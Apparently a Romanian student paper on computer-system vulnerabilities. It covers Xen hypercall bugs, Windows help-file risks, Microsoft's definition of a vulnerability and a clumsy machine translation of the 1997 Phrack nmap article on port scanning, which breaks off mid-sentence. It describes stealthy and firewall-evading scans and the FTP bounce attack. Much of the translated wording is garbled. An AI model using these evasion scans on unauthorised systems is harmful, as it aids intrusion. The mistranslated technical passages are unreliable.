Vulnerabilitatile Sistemelor Informatice

Cuprins

Introducere

Mediile virtualizate devin tot mai omniprezent cu o crestere a proliferarii de centre de date virtualizate și în mediile de tip cloud. Cu toate acestea, probleme de securitate sunt încă una dintre cele mai mari showstoppers pentru adoptarea de soluții de calcul de tip cloud larg . Atacatorii sunt activ de explorarea specifică pentru virtualizare de atac suprafețe, precum hipervizoare încorporate. Atacuri de orientare hipervizoare încorporate sunt de violență puternică deoarece acestea pot duce la gafele de hipervizoare încorporate, inclusiv toate guest VMs (mașini virtuale) pornit pe partea superioară a acestora sau în modificarea memoria hipervizoare. Un fisier malware guest VM utilizator poate executa un atac impotriva hypercalls hipervizor de garantare prin care sunt software de la un nucleu de capcane a complet sau parțial paravirtualizat guest VM la nivelul hipervizorului. Hypercalls permite intrusion în hipervizoare vulnerabile inițiată de un fisier malware guest VM kernel. Cum Rutkowska et al. demonstra, exploatarea o vulnerabilitate a unui hypercall manipulatorul (adică o vulnerabilitate hypercall) poate duce la modificarea de memoria hipervizor tinta, care permite, de exemplu, executarea de cod malitios cu privilegiul de hipervizor. Data fiind gravitatea de atacuri de declanșare hypercall vulnerabilități, caracterizarea riscului de atac hypercall suprafața este o prioritate deoarece este crucială pentru o mai bună înțelegere a amenințărilor de securitate generate de hypercall interfețe. Lipsa de o astfel de înțelegere împiedică semnificativ de avansuri spre monitorizarea și asigurarea aceste interfețe. În profunzime informații tehnice privind hypercall vulnerabilități este o cerință pentru care caracterizează hypercall suprafața de atac. Cu toate acestea, astfel de informații este în prezent foarte limitat. Rapoartele de vulnerabilitate a dezvaluit care descrie hypercall vulnerabilități (de ex., CVE CVE-2013-4494,-2013-3898) sunt de obicei de singura sursă de informații și a oferi numai de nivel înalt de descrieri. De asemenea nu exista informatii publice privind atacurile de declanșare accidentală hypercall vulnerabilități efectuată în practică. Scopul acestei activități este de a oferi informații tehnice privind hypercall vulnerabilități necesare pentru imbunatatirea conditiilor de securitate de interfețe hypercall (de exemplu, informații despre erori care a provocat vulnerabilități și modul de vulnerabilități poate fi declanșat). În acest scop, am analizat toate dezvaluit hypercall vulnerabilități care am găsit prin căutarea CVE majore (Comun vulnerabilitate și expuneri) raport (de ex., cvedetails bazele de date) pe baza relevante cuvinte, cum ar fi numele de operații de hypercalls. Aceste vulnerabilități sunt reprezentative pentru vulnerabilități care am analizat în termeni de erorile le provoca și modul în care acestea pot fi declanșat. Vulnerabilitatile considerate în acest lucru sunt de la Xen , care are cea mai largă interfață hypercall spre deosebire de alte hipervizoare încorporate, precum KVM. A considerat vulnerabilități sunt în scutieri de memorie hypercalls op, gnttab op, setați debugreg, physdev op și freză mmuext abordarea noastră pentru analizarea o vulnerabilitate hypercall consta din urmatoarele etape: (i) analiza CVE raport de vulnerabilitate și alte surse de informații relevante, de exemplu, instrucțiuni de securitate; (ii) inginerie inversă a eliberat patch de stabilire a vulnerabilitate și dezvoltarea de cod pentru declanșarea de vulnerabilitatea. Pentru fiecare considerat vulnerabilitate, putem oferi informații de fond esențiale pentru înțelegerea vulnerabilitate și informații despre vulnerabil hypercall manipulatorul (adică, informații despre fluxul de lucru, și datele de intrare și de ieșire a manipulatorului) și eroare cauzând vulnerabilitatea. Am sa arat cum de vulnerabilitatea poate fi declanșat și discuta statului de hipervizor orientate după vulnerabilitatea a fost declanșat. Subliniem ca putem oferi informații despre un vulnerabil hypercall manipulatorul în măsura în care este relevant pentru înțelegerea o vulnerabilitate, de exemplu, noi vom discuta numai unii parametri de intrare a manipulatorului. Avem de asemenea subliniază că noi nu ne oferă dovada de cod de conceptul de declanșare a considerat vulnerabilități gata de utilizare. Am prezent numai hypercalls efectuată ca parte a unui atac de declanșare accidentală a dat hypercall vulnerabilitate și valorile parametrilor hypercall relevante (adică, parametri de identificare a executat hypercalls și, unde este cazul, parametri cu valori manual în mod specific pentru declanșarea de vulnerabilitatea). În cele din urmă, ne subliniază că nu ne demonstreaza vulnerabilitatea exploatarea unde este posibil (de ex., cod malware executarea). Ne vom concentra în loc de erori care cauzează considerate vulnerabilități, activitatile pentru declanșarea lor și efectele de declanșare a vulnerabilităților pe membru de hipervizori vulnerabile. Am argumentat că informațiile pe care le oferim este relevant pentru o mai bună înțelegere a amenințărilor de securitate ca interfetele hypercall poza, care vă va ajuta să se concentreze abordări pentru îmbunătățirea securității hipervizoare încorporate.

Sistemele de operare Microsoft Windows, până la Windows 8 au avut în total patru sisteme de asistență. Primul a fost eliberat odata cu Windows 3x si a fost intitulat WinHelp și conține un fișier numit de asociere HLP. Practic este un set de documente RTF cu tipuri de formatare speciala, imagini bitmap toate compilate într-un fișier binar (.HLP) avand posibilitatea de a rula macro automat. Aceasta include, salt cuprins asistență, afișaj open file dialog, executa programe cu parametri , fișierele deschise și executați funcțiile DLL. Există versiuni de WinHelp de 16 și 32 de biți. 16 de biti .HLP fișierele trebuie deschise in winhelp.exe cererea și 32 de biti HLP fișierele trebuie deschise in Winhlp32.exe cererea. Suport nativ pentru acest sistem de asistență încheiat pe Windows XP și 2003. Pe Windows Vista și mai sus doar 16 biti HLP fișierele pot fi deschise, in Winhelp.exe cerere.

Al doilea a fost eliberat cu Internet Explorer 4, și încorporate în Windows 98, intitulat HTML Help si este un set de documente HTML, a cuprins file (opțional) și un fișier index (opțional) toate compilate într-un fișier binar cu CHM prelungire. Acesta vine cu un control ActiveX care pot fi încorporate în Internet Explorer. Ea are capacitatea de a rula programe cu parametri prin ť oeShortcutâ parametru al ActiveX, deschideți HLP arbitrare WinHelp Project Conversion (.) fișierele de pe calculatorul local sau SMB și folder WebDAV actiuni, prin ť oewinhelpâ parametru al controlului ActiveX și injectați script cod în paginile de arbitrare atunci când utilizatorul selectează un cuprins subiectul care are o oeJavascript: URL protocol. Aceasta se numește cross domain scripting (Microsoft, 2015).

Al treilea, încorporate în Windows XP și 2003 este Help și centru de suport. Este o combinație între elaborate basicly fisiere HTML (.CHM) , autonome de fisiere HTML și speciale de fișiere XML pentru a utiliza în fereastra de definiție. Fișierele HTML autonom sunt numite prin protocolul URL sale interne, numita HCP:. Acest URL protocol este de asemenea înregistrată pentru Help și suport (helpctr bancnotelor au acces.exe). Fișiere invocate de acest URL protocol sunt tratate ca cererile de HTML și au capacitatea de a script de inițializare și controalele ActiveX arbitrare. Acesta are un aspect frumos în comparație cu classic HTML Help.

A patra este oficial de noul sistem de ajutor după HTML ajuta si a inceput transport cu Windows Vista. Este de asemenea HTML pe baza, dar fișierele HTML sunt compilate într-un format binar (.H1S) fișier cu ajutorul Windows pe fișier și acestea sunt invocate de OEM-HELP: *URL protocol interne* Acestea sunt afișate în ť (helppane Help Pane.exe) fereastra. Nu există fișier sau URL protocol înregistrat pentru acest sistem de ajutor. Acesta este utilizat de Windows nativ aplicații și terți furnizori fișierele locale.

Deoarece aceste tipuri de fișiere și HCP: URL protocol, sunt de design, capabil de a rula cod arbitrar pe un sistem, ceva care ocolește de mecanismele de securitate ale sistemului de operare, care implică ei este considerată o vulnerabilitate. Extensile .HLP si .CHM sunt în lista neagră de fișiere de Microsoft.

I.Vulnerabilitatile sistemelor informatice

I.1. Vulnerabilitatiile

Ce e o vulnerabilitate de securitate? Majoritatea oamenilor cred ca aceasta ar fi o întrebare simplă, dar de fapt se dovedește a nu fi. Voi discuta definiția utilizată de către Centrul de răspuns de securitate de la Microsoft (MSRC) să categorisească Varietatea de probleme am examina în fiecare zi.

Acesta nu poate fi evident la prima de ce merită consacra mai multe pagini pentru a discuta la sensul. După toate, este posibil să căutați atât "siguranta" și "vulnerabilitatea" în dicționar și veni la intelegerea a ceea ce inseamna. În acest fel, veți putea conchide ca o vulnerabilitate de securitate este ceva care oferă un potențial avenue de atac impotriva unui sistem, inclusiv lucruri ca malware, sistemele de configurat incorect, parole scris pe plăcuțele de lipicios, și așa mai departe. E adevarat ca probleme ca acestea sa creasca riscul de a unui sistem. Totuși, aceasta este cumva o conotatie mai larg decât ce este utilizat în general în cadrul comunității de securitate și cum am aprecia problemelor MSRC.

Pentru contextul utilizate în industria de securitate software și în MSRC, o vulnerabilitate este o expunere de securitate care rezultă de la un produs de slabiciune ca produsul developer nu intenționează să introducă și să fixeze o dată este descoperit. Aceasta dă termenul de relevanță pentru MSRC speciale, a carui misiune este de a găsi astfel de slabiciuni ori de câte ori acestea există în produsele Microsoft și să le corecteze. Această definiție a discutat problemele care pot ajuta la identificarea și trebuie să fie fixate. Acest articol vă va ajuta să înțelegeți ce tipuri de probleme sunt în general adresate de anunțuri de securitate.

Punerea definitiei intr-un context

Este important să se înțeleagă că definiția nu este vorba de un cuvânt final emite mandate de un buletin de securitate – în schimb, este primul cuvânt. Ori de câte ori MSRC primește un raport de o potențială problemă de securitate, o ancheta este început. Dacă problema nu poate fi reprodusă, următoarele două sunt puse întrebări pentru a determina dacă este nevoie de un buletin.

Problema satisface definitia de vulnerabilitate de securitate?

Nu incalca de politica de securitate a produsului, sensul se sparge – perimetru de securitate" de produs?

Cred ca de vulnerabilitate de securitate ca o definiție inițială a filtrului, aplicat la toate problemele. Dacă o anumită problemă de securitate nu satisface definitia de  vulnerabilitate de securitate, este puțin probabil că ar justifica un buletin de securitate. Aceasta nu înseamnă că nu va lua orice acțiune deși. De exemplu, dacă o anchetă arată că există un bug dar nu o vulnerabilitate de securitate, MSRC funcționează cu echipa de produs pentru a o fixa, dar fixa ar fi livrate ca parte a unui pachet de service sau versiunea viitoare de produs mai degrabă decât prin actualizare de securitate și un buletin.

Dacă problema îndeplinește definiția de vulnerabilitate, următoarea întrebare este dacă ea incalca limitele de securitate a produsului. Fiecare produs are un set de presupuneri despre cum va fi utilizat si un set de promisiuni face despre securitatea furnizate atunci când e utilizat corect. De exemplu, Utilizator Control de acces (UAC) este o tehnologie introdusa cu Windows Vista care oferă o metodă de separare a sarcinilor și de privilegii de utilizator standard de cele care necesită drepturi de acces de administrator. Dacă un utilizator Standard este cu ajutorul sistemul sistemului și încercări de a efectua o acțiune pentru care utilizatorul are autorizatie, o solicitare de la Windows apare și cere contul de Administrator parolă a. Dacă un administrator este folosind sistemul și încearcă să facă aceeași sarcină, nu există decât un indicator prompt. Acest mesaj este cunoscut ca "Acordul prompta" deoarece administratorul este cerut doar pentru a conveni la acțiune înainte de a continua. O slabiciune care ar permite de a ocoli "Acordul prompta" nu este considerată o vulnerabilitate de securitate, deoarece nu este considerat un perimetru de securitate.

Un punct final înainte de a discuta definiție de vulnerabilitate: nu este conceput ca un document legal. Obiectivul principal în dezvoltarea ei a fost de a face o simplu de înțeles și, chiar dacă procedând astfel însemna că există câteva zone gri. Ca rezultat, aici sunt unele declinări.

Definitia nu este o garanție; este un instrument care vă ajută să evalueze dacă MSRC ar trebui să o problema prin adresa de actualizare de securitate. In final, decizia despre problemele care justifica hotararea este un apel de buletine, pe baza să oferim clienților cea mai bună protecție putem. Primire anunțuri uneori sunt dezvoltate pentru probleme, strict vorbind, în afara definiției. De asemenea, este posibil ca un special ar satisface definiția strictă dar apar doar în astfel de condiții rare ca clientii ar putea fi mai bine servite dacă ne-am concentrat resursele de pe celelalte,, și mai mult mai larg de probleme cu impact.

Definitia nu este un Microsoft Corporate standard. E o definiție informale ca MSRC utilizează pentru a prioritiza munca. Nu este o cerință de logo sau o parte din orice alte corporate standard.

Definiție

Acum, aici e definitia de  vulnerabilitate de securitate.

O vulnerabilitate de securitate este o slabiciune de un produs care ar putea permite unui atacator de a compromite integritatea, disponibilitatea sau confidentialitatea ca produs.

Acum hai să disece cadavrele exact ce definirea înseamnă. În discuția care urmează, frazele critice și cuvinte sunt enumerate de la definirea, definite precis, și explicate cu exemple cu cum definirea ar putea fi aplicată din viata reala de cazuri.

… O slabiciune de un produs…

Slăbiciune: vulnerabilități de securitate implica slabiciunile accidentală; de-design slăbiciunile poate uneori apar în un produs, însă acestea nu sunt vulnerabilități de securitate.

Exemple: Alegerea de a pune un 40-bit enigma de un produs nu ar constitui o vulnerabilitate de securitate, chiar dacă protecția oferă ar fi inadecvate pentru anumite scopuri. În contrast, o implementare eroare care a cauzat o greșeală cifru 256 biți să aruncați jumătate de biți în cheie ar fi o vulnerabilitate de securitate.

Produs: vulnerabilități de securitate sunt un rezultat de o problemă de un produs. Problemele care rezulta din aderente la imperfect dar larg acceptate standardele nu vulnerabilități de securitate.

Exemple: Un browser care, la conectarea la un site FTP, efectuează în sesiune în acceptă nu ar fi considerate ca o vulnerabilitate de securitate, deoarece FTP conform specificației apeluri pentru sesiuni acceptă. Totuși, dacă browserul de efectuat în sesiuni SSL acceptă, ar constitui o vulnerabilitate de securitate deoarece ssl conform specificației apeluri pentru sesiuni criptate.

… Care ar putea permite unui atacator de a compromite integritatea…

Integritatea: Integritate se referă la a credibilității o resursă. Un atacator care exploateaza o slabiciune de un produs pentru a o modifica în tăcere și fără autorizația este de a compromite integritatea ca produs.

Exemple: o slabiciune care permite un administrator pentru a modifica drepturile de pe orice fișier de pe un sistem nu ar fi o vulnerabilitate de securitate pentru ca un administrator are deja această capacitate. În contrast, dacă o slăbiciune a permis o neprivilegiata utilizator de a face acelasi lucru, ar constitui o vulnerabilitate de securitate.

…disponibilitatea…

Disponibilitate: Disponibilitatea se referă la posibilitatea de a accesa o resursă. Un atacator care exploateaza o slabiciune de un produs, refuza accesul utilizatorului, este de a compromite disponibilitatea produsului.

Exemple: o slabiciune care permite unui atacator pentru a provoca un server pentru a eșua ar constitui o vulnerabilitate de securitate, deoarece atacatorul ar putea reglementa dacă serverul furnizate de service sau nu. Cu toate acestea, faptul ca un atacator poate trimite un număr foarte mare de cereri legitime la un server și de monopolizare a resurselor sale nu ar constitui o vulnerabilitate de securitate, atât timp cât operatorul de server încă ar putea controla computerul.

…confidentialitatea…

Confidențialitate: Confidențialitatea se referă la limitarea accesului la informații despre o resursă pentru a autorizat de oameni. Un atacator care exploateaza o slabiciune de un produs pentru a accesa informații este de a compromite confidențialitatea ca produs.

Exemple: o slabiciune la un site web care permite un vizitator pentru a citi un fișier care nu trebuie să fie citite ar constitui o vulnerabilitate de securitate. Totuși, o slabiciune care a dezvaluit locația fizică a unui fișier nu ar constitui o vulnerabilitate – desi o astfel de slabiciune ar putea fi util pentru scopuri de recunoastere si va putea fi folosit împreună cu o bona fide vulnerabilitate la fișierele de compromis, nu ar de sine permite unui atacator sa compromita datele, și astfel nu ar constitui o vulnerabilitate de securitate. (merita observând totuși că Microsoft, de ocazie, a ales să dezvolte patch-uri în astfel de cazuri oricum).

După cum puteți vedea, integritatea, disponibilitatea și confidențialitatea sunt cele trei obiective principale pentru securitate. Dacă una sau mai multe dintre aceste trei elemente lipseste, există o vulnerabilitate de securitate. O singură vulnerabilitate de securitate poate compromite una sau toate aceste elemente în același timp. De exemplu, o vulnerabilitate de divulgare ar compromite confidențialitatea unui produs, în timp ce un cod de la distanță executarea vulnerabilitate ar compromite integritatea, disponibilitate și de confidențialitate.

Definiție în practică

Cum fără îndoială a observat, Există destul spațiu pentru judecată în definiție. În plus față de un bun simt si o dorinta de a proteja clienții noștri, am evaluarea potențialelor vulnerabilități de desen pe ani de practică hotărârea de securitate și o scanare rapidă a listarea security bulletins arată că o destul de extinse de interpretarea definiția este aplicată. Dacă vă gândiți să fi găsit o vulnerabilitate de securitate in un produs Microsoft, vă rugăm report it la Centrul de reacție de securitate de la Microsoft pentru ancheta imediata. Veți primi un răspuns pentru a vă anunța dacă îndeplinește definiția de vulnerabilitate de securitate.

  În securitatea calculatorului, termenul de vulnerabilitate este aplicată o slabiciune in un sistem care permite unui atacator de a încălca integritatea sistemului. Vulnerabilități pot rezulta din parolele slabe, software bug-uri, misconfigurations software, un calculator virus sau alte programe malware (software rău intenționate), un script sau o injecție de cod SQL injecție doar la nume de câteva.

Un risc de securitate este clasificat ca vulnerabilitatea dacă este recunoscut ca un mijloc de atac. Un risc de securitate cu una sau mai multe instanțe de cunoscute de lucru și a implementat complet atacuri este clasificat ca un exploit. Construiește în limbaje de programare care sunt dificil de utilizat corect poate fi o sursă de mare de vulnerabilități.

Vulnerabilitatile exista toate timpul dar când Internet era cel etapa timpurie nu era la fel de des utilizate și exploatate. Media nu a raportat nici o stire despre hackeri care se pune in inchisoare pentru "hacking" în servere și a fura informații vitale. Atunci toate nodurile de pe rețea au fost de încredere, fixați protocoale cum ar fi ssh, Storage SCP, SSL nu exista, dar Telnet, FTP și text simplu interexchange HTTP erau utilizate pentru datele sensibile. Cine ar putea gândi despre aurolacii? Otrăvirea ARP? MITM?

Evaluarea de vulnerabilitate poate fi efectuată pe multe obiecte, nu numai sistemele de calculator/rețele. De exemplu clădiri fizice pot fi evaluate astfel încât ar fi clar ce părți ale clădirii au ce fel de fisură. Dacă atacator poate ocoli gardian la ușa față și a obține în clădire prin usa din spate este cu siguranță o vulnerabilitate. Dacă el nu are de fapt ca – este un exploit. Securitatea fizica este una dintre cele mai importante aspecte de luat în considerare. Dacă atacatorii au acces fizic la server – serverul nu este a ta! De ce? Pentru că dacă serverul este furat, atacatorul nu are nevoie să scăpăm de ID-uri, nu este nevoie sa se sustrag IPS, nu au posibilitate de cum pentru a bascula 10T de date, este chiar aici pe server. Criptare de disc completă ar ajuta, dar nu este de uz comun pentru servere. Fiți absolut sigur de a face cu criptare completă (FDE) pe toate laptopurile dvs., cunoscut și criptare de disc (Întregi WDE).

Doar prin menționarea "sistemele dvs./rețele' sunt vulnerabile nu oferă la orice informații utile. Evaluarea de vulnerabilitate fără un raport cuprinzător este destul de mult inutile. Este ușor să utilizați instrumentele automat la rețele de scanare, face rapoarte de pe dispozitivul și trimite, dar care nu ofera mai multa valoare raport poate rula cu ușurință în mii de pagini. Este mult mai bine să faceți top 10 vulnerabilități pe toți și să facă un raport. Vulnerabilitate de raport de evaluare trebuie sa includa:

Identificarea vulnerabilități și sistemele vulnerabile.

Este suficient de a găsi o vulnerabilitate critică și întreaga rețea este la risc, ca dacă o za este rupt în lanț și întregul lanț este rupt:

Vulnerabilitățile trebuie să fie sortate cu severitate și apoi de servere/servicii. Vulnerabilitățile critice trebuie să fie pe partea de sus a raportului și trebuie să fie enumerate în ordine descrescătoare adică critică, apoi ridicată, medie și mică

II. Decoperirea vulnerabilitatiilor unui system informatic

II.1. Scanarea de porturilor

Introducere

De cele mai multe ori este util, chiar necesar, pentru a aduna cât mai multe informații posibil

Despre o țintă de la distanță. Aceasta include învățarea toate lor rețea – punctele de intrare",

Sistemele de operare folosite, metodele de firewall, servicii pornit, etc.

Rețineți că în timp ce desigur că este posibilă portscan cu o mașină de windows, voi

Fie concentrarea pe cu ajutorul unui unix cu anumite utilitare instalate. Acest lucru este datorat

Windows" de lipsa de acces la priza de crud (pre win2K) și de lipsa de decenta, libera, portscanners

Sunt disponibile pentru platforma. În secțiunea următoare voi împărtăși unele indicii utile pe portscanning. 

Rețineți că nivelul rădăcină este necesar acces pe unix pentru multe explorări.

Istoric

––––

Prima este eliberat de nmap in 1997 in revista Phrack emite 51, art. 11.

Unele informații:[ Abstract ]

Această hârtie detalii multe dintre tehnicile utilizate pentru a determina ce porturi (sau

Protocol similar prepararii apei) de o gazdă pentru conexiuni de ascultare sunt. Aceste 

Porturi reprezintă potențialul canalele de comunicare. Existenta lor de cartografiere

Facilitează schimbul de informații cu gazda, și astfel este destul de 

Util pentru oricine dorește să explorați lor de mediu de rețea, inclusiv 

Hackerii. In ciuda a ceea ce ați auzit de la media, de Internet nu este de

Toate despre portul TCP 80. Oricine care se bazează exclusiv pe WWW pentru

Colectarea de informații este posibil pentru a avea același nivel de competență ca 

AOLer medie, care nu are aceeași. Această hârtie este de asemenea menita sa serveasca drept

Introducere și documentația pentru o codificare auxiliare proiectului I au fost 

Lucrul la. Acesta este un complet cu scaner robust port care (sper) rezolvă 

Unele dintre problemele am întâlnit de tratare în alte scanere și 

Când lucrați la rețele masive de scanare. Testerul, nmap, acceptă următoarele:

  – vanilie TCP conectați(), de scanare 

  – TCP SYN (pe jumătate deschis), de scanare

  – TCP FIN (furt), de scanare 

  – proxy ftp TCP (deviate de atac) scanare

  – SYN/FIN scanarea utilizând fragmente de IP (ocolește filtrele de pachete),

  – UDP recvfrom(), de scanare 

  – UDP port ICMP unreachable scanare brut, 

  – Scanare ICMP (ping-baleiere), și

  – de mers înapoi-ident de scanare.

La distribuibil cod sursă este anexată la această hârtie.

[ Prefață ]

Scanare, ca o metoda pentru descoperirea exploatabile de canalele de comunicare, are

Fost în jurul de secole. Ideea este de a sonda cât de multe ascultătorilor posibil, și

Țineți evidența celor care sunt receptivi sau utile pentru a vă special nevoie.

De mult a câmpului de publicitate este bazată pe această paradigma, și "curente.

Rezident" stilul de forță brută de bulk mail este o aproape perfect paralelă cu ce

Vom discuta. Stick de doar un mesaj în fiecare căsuță poștală și așteptați

Răspunsurile la firicel înapoi.

Scanarea a introdus h/p lume împreună cu sistemele de telefonie. Aici avem această

Rețeaua de telecomunicații globale extraordinară, toate poate fi contactat prin coduri de pe 

Telefonul nostru. Milioane de numere sunt accesibile la nivel local, dar poate numai

Fi interesat de 0,5% din aceste numere, probabil cele care răspunde cu un 

Transportator.

Soluție de logică de diagnosticare numerele care ne interes cele este să le încercați

Toate. Astfel domeniul "wardialing" au aparut. O excelentă de programe precum Toneloc

Au fost dezvoltate pentru a facilita cercetezi de schimburi și mai mult. intreaga A

Ideea de bază este simplă. Dacă formați un număr și modemul dumneavoastră vă oferă o conectare,

Înregistrați-l. În caz contrar, calculatorul se închide și lipsa de efort de apelări rapide de următorul 

Unul.

În timp ce wardialing este încă util, suntem acum de diagnosticare ca multe dintre calculatoare

Dorim să comunice cu sunt conectate prin rețele precum Internet

Mai degrabă decât dialups telefon analogic. Scanarea aceste mașini implică același

Tehnica de forță brută. Putem trimite un viscol de pachete pentru diverse protocoale,

Și am deduce serviciile care sunt asculta din răspunsurile vom primi (sau

Nu primiți).

Tehnicile

In timp, o serie de tehnici au fost dezvoltate pentru înfruntarea

Protocoalele si porturile pe care o țintă a mașinii este ascultare. Acestea oferă toate

Diferite beneficii și probleme. Aici este o linie de cele mai comune:

– TCP conectați() scanarea : Aceasta este cea mai de bază sub forma de scanare TCP. A

Branșați() apel de sistem oferite de sistemul de operare este utilizat pentru a deschide un

Conexiunea la fiecare port de interesant pe mașină. Dacă portul este ascultarea,

Branșați() va reuși, în caz contrar la port nu este accesibil. Unul strong

Avantaj pentru această tehnică este că nu aveți nevoie de orice drepturi speciale. Orice

Utilizator de pe casetele UNIX este liber să utilizeze acest apel. Un alt avantaj este viteza.

În timp ce face o separa conectați() apel pentru fiecare port de tinta linear

Moda ar lua vârstele peste o conexiune lentă, puteți să grăbească de scanare

Cu ajutorul multe prize în paralel. Cu ajutorul fără blocare I/O vă permite să setați o mică

Perioada de timp și urmăriți toate prizele de la o data. Aceasta este cea mai rapidă

Metoda de scanare acceptate de nmap, și este disponibil cu -t (TCP) opțiunea.

Marele dezavantaj este ca acest fel de scanare este și ușor de detectat filterable.

Ținta de gazde va arăta un mănunchi jurnale de conexiune și mesajele de eroare pentru

Serviciile care lua legătura și apoi au o imediat de oprire.

– scanarea TCP SYN : Aceasta tehnica este adesea "jumătate deschisă"

Scanare, deoarece nu deschide o conexiune TCP complet. Trimiteți un pachet SYN,

Cum dacă veți deschide o conexiune de real și așteptați un răspuns. O

SYN|ACK indică port este de ascultare. Un RST este orientativă a unui non-

Ascultător. Dacă un SYN|ACK este primit, trimite imediat un RST să rupă

Conexiunea (de fapt kernel pentru noi). Avantajul principal

La aceasta tehnica de scanare este că mai puține situri vor log-l. Din păcate veți

Nevoie de privilegii root pentru a construi aceste pachete SYN personalizate. Scanarea SYN este -s

Opțiunea de nmap.

– TCP FIN scanarea : Există momente când chiar SYN nu este de scanare clandestine

Suficient. Unele sisteme de securitate și filtrele de pachete ceas pentru portul nepermisă a unei SYNs,

Și programe precum synlogger și Courtney sunt disponibile pentru a detecta aceste explorări.

Pachetele de FIN, pe de alta parte, poate fi capabil să treacă prin nevatamat. Acest

Tehnica de scanare a fost recomandate în detaliu de către Uriel Maimon în Phrack 49, art.

15. Ideea este că porturile închise tind să vă răspunde la pachet FIN cu

Buna RST. Porturi deschise, pe de alta parte, au tendința de a ignora pachetul in

Cauză. Acesta este un bug în implementările TCP si astfel nu este 100% fiabilă

(unele sisteme, îndeosebi Micro$oft cutii, par a fi imuni). Acesta funcționează bine pe

Cele mai multe alte sisteme am incercat. Scanare FIN este -U (opțiunea de nmap Uriel).

– scanare de fragmentare : Aceasta nu este o noua metoda de scanare în și de sine,

Dar o modificare a altor tehnici. În loc de a trimite doar sonda

Pachet, o incalci în câteva mici fragmente de IP. Esti capra de separare 

Până antetul TCP pe mai multe pachete pentru a o face mai greu pentru filtrele de pachete 

Etc. pentru a detecta ce faceti. Aveți grijă cu această! Unele

Programele au necazuri manipularea aceste pachete de minuscule. Interceptorului mele preferate

Identificatorul de segmentare imediat după primirea primei 36-byte fragment.  

După care vine o 24 byte unul! În timp ce această metodă nu ajunge prin filtrele de pachete

Și de tip firewall ca coadă toate fragmentele IP (ca CONFIG_IP_mereu_DEFRAG 

Opțiune în Linux), o mulțime de rețele nu isi poate permite performanța de lovit acest

Cauze. Această caracteristică este mai degrabă unic pentru scannere (cel puțin nu am văzut 

Orice alte persoane care face acest lucru). Mulțumită daemon9 sugera asta. -f

Instruiesc specificate SYN sau FIN scan pentru utilizare pachete fragmentate minuscule.

– TCP înapoi scanare ident : De remarcat prin Dave Aurar în 1996 Bugtraq

Post, ident protocol (RFC1413) permite dezvăluirea de numele de utilizator de

Proprietarul orice proces conectat prin intermediul TCP, chiar dacă acest proces nu 

Iniția conexiunea. Astfel încât să puteți, de exemplu, conectați la portul de http 

Și apoi utilizați identd pentru a afla dacă serverul este pornit ca root. Acest 

Poate fi făcută numai cu o conexiune TCP la portul țintă (adică -t

Opțiune). nmap e -i interogări de opțiunea identd pentru proprietarul tuturor asculta()ing

Porturi.

– FTP bounce atac : Un interesant – caracteristică" din protocolul ftp (RFC 959) este

Suport pentru conexiuni ftp "proxy". Cu alte cuvinte, trebuie sa

Conectați de evil.com la serverul de FTP-PI (protocol interpret) de target.com

Pentru a stabili legătura de comunicație de control. Apoi trebuie sa

Solicita ca server-PI iniția activ un server-DTP (transfer de date

Proces) pentru a trimite un fișier de oriunde de pe internet! Probabil pentru un user-DTP,

Deși RFC prevede în mod specific că cere un server pentru a trimite un fișier la

Un alt este OK. Acum acest lucru poate au lucrat bine în 1985 când RFC era doar

Scrise. Dar azi, nu putem avea oameni piratarea rețelelor servere ftp și

Solicita ca datele să fie scuipat afară la punctele de arbitrare pe internet. Cum

*Hobbit* a scris în 1995, acest protocol fisura – poate fi utilizat pentru a posta practic

Neplata mail și știri, bronz pe servere la diverse site-uri, umplerea, discurile de însămânțare

Încercați să hop firewall-uri, și în general fi incomode si greu de pin la

Acelasi timp." Ce ne va exploata acest pentru este de a (Surprize-surprize) scanare TCP

Porturi de la un server de FTP "proxy". Astfel veți putea conecta la un server de FTP

Un firewall, și apoi scanați porturile care sunt susceptibile de a fi blocat (139

Este un bun unul). Dacă serverul de ftp permite citirea din și scris la o

Director (cum ar fi /intrare), puteți trimite datele la porturi ca arbitrare nu

Găsiți deschis.

Pentru scanare port, tehnica noastră este de a utiliza portul comanda de a declara ca

"pasiv nostru user-DTP" asculta pe caseta țintă la un numar de port.

 Apoi vom încerca să lista directorul curent și rezultatul este trimis peste

Server-DTP canal. Dacă ținta noastră gazdă este urechea specificate port,

Transfer va fi de succes (generează un 150 și un 226 răspuns). În caz contrar

Ne vom si "425 nu pot construi conexiunea de date: Conexiune refuzat." Apoi am

Emite un alt port pentru a încerca următorul port de pe țintă gazdă. A

Avantaje pentru această abordare sunt evidente (mai greu de urmărire, potențialul de bypass

Paravanele). Principalele dezavantaje sunt că este lentă și că unele FTP

Servere au primit în sfârșit un indiciu și dezactivată caracteristica "proxy". Pentru ceea ce este

Merită, aici este o listă de bannere din locuri unde nu/nu funcționează:

*Bounce atacuri lucrate:*

220 xxxxxxx.com FTP server (Versiunea wu-2.4(3) Miercuri Dec 14 …) gata.

220 xxx.xxx.xxx.edu FTP Server Ready.

220 xx.Telcom.XXXX.EDU FTP server (Versiunea wu-2.4(3) Tue Jun 11 …) gata.

220 server FTP (SunOS lem 4.1) gata.

220 XXX.XXX.es (versiune de server FTP wu-2.4(11) Se aseza Apr 27 …) gata.

220 elios SunOS FTP server (4.1) gata

*Deviate de atac a eșuat:*

220 wcarchive.cdrom.com FTP server (Versiunea DG-2.0.39 Soarele poate 4 …) gata.

220 XXX.xx.xxxxx.EDU Versiunea wu-2.4.2-academ[BETA-12](1) Fri Feb 7

220 ftp Microsoft FTP Service (versiunea 3.0).

220 xxx server FTP (Versiunea wu-2.4.2-academ[BETA-11](1) Tue Sep 3 …) gata.

220 xxx.unc.edu FTP server (Versiunea wu-2.4.2-academ[BETA-13](6) …) gata.

"X-sunt parțial acolo pentru a proteja cei vinovati de pornit o trunchiate server,

Dar mai ales doar pentru a face liniile montați în 80 de coloane. Acelasi lucru cu

Ellipse puncte. Direcționare de atac este disponibilă cu -b <Server>_proxy

Opțiunea de nmap. serverul proxy_pot fi specificate în standardul formatului URL,

Username Parola@server::port , cu totul dar fiind opțională de server.

– portul UDP ICMP unreachable scanarea : Această metodă de scanare variază de la

De mai sus în care suntem cu ajutorul protocolului UDP în loc de TCP. În timp ce această

Protocolul este mai simplă, scanarea este de fapt semnificativ mai dificil.

Aceasta deoarece porturile deschise nu trimite o confirmare ca răspuns la

Sonda noastre, și închise porturi sunt necesare nici macar pentru a trimite un pachet de eroare.

Din fericire, de cele mai multe gazde nu trimite un mesaj ICMP_Port_UNREACH eroare atunci când trimiteți un

Pachet la o închise portul UDP. Astfel puteți afla dacă un port nu este deschis, și

